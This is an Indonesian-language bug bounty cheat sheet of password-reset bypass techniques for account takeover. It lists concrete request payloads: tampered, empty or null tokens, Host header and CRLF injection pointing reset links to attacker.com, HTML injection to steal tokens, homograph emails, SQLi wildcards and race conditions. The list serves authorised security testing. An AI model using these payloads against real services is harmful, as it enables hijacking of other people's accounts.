Berdasarkan artikel oleh Omer Hesham dan berbagai sumber bug bounty.
Referensi utama: HubSpot Full Account Takeover
Gunakan token sendiri pada email korban
POST /reset dengan parameter email=victim@gmail.com&token=$YOUR_TOKEN
Hapus token
http://example.com/reset?email=victim@gmail.com&token=
Ubah token menjadi 000000000
http://example.com/reset?email=victim@gmail.com&token=000000000
Gunakan nilai null/nil
http://example.com/reset?email=victim@gmail.com&token=Null atau &token=nil
Kirim array token lama
http://example.com/reset?email=victim@gmail.com&token=[oldtoken1,oldtoken2]
Kirim token sangat panjang (massive token) untuk menyebabkan error atau overflow
http://example.com/reset?email=victim@gmail.com&token=AAAA... (1 juta karakter)
Ubah satu karakter di awal/akhir token – lihat apakah token dievaluasi secara longgar
Cek kebocoran token di response body – kadang token reset dikembalikan dalam respons
Host Header Injection
POST /reset dengan Host: attacker.com – lihat apakah password reset link dikirim ke domain penyerang
HTML injection di Host Header
POST /reset dengan Host: attacker">.com – coba injeksi HTML/XSS
CRLF injection di URL
/resetPassword?0a%0dHost: attacker.tld – uji pada parameter Host, X-Forwarded-Host, True-Client-IP, dll.
Kebocoran token di Referer header
Periksa apakah Referer mengirimkan token, misal:
Referer: https://website.com/reset?token=1234
HTML injection di email
Coba injeksi HTML pada parameter, cookie, atau input lain yang masuk ke email. Gunakan tag <img> untuk mencuri token.
Gunakan email perusahaan
Saat mengundang pengguna ke akun/organisasi, tambahkan field "password": "example123" atau "pass": "example123" dalam request.
Cari email perusahaan di public GitHub repository members atau gunakan Hunter.io. Jika berhasil, kita bisa login ke akun tersebut (termasuk SSO, support portal, dll).
Gunakan karakter Unicode (Jutzu) untuk spoof alamat email (homograph attack)
Coba daftar dengan email yang sama tetapi TLD berbeda (misal: .eu, .net, .co)
SQL injection bypass
Uji wildcard seperti %, *, atau teknik SQLi pada parameter token atau email
application/json ↔ application/xmlCross-domain token usage
Jika program memiliki banyak domain dengan mekanisme reset yang sama, coba gunakan token yang dihasilkan untuk domain A di domain B
Race condition
Kirim banyak request reset password secara bersamaan – lihat apakah token dapat digunakan lebih dari sekali atau ada kondisi balapan
Parameter token kosong atau null di tempat lain
Coba hapus parameter token sepenuhnya, atau kirim nilai kosong di parameter lain seperti reset_token=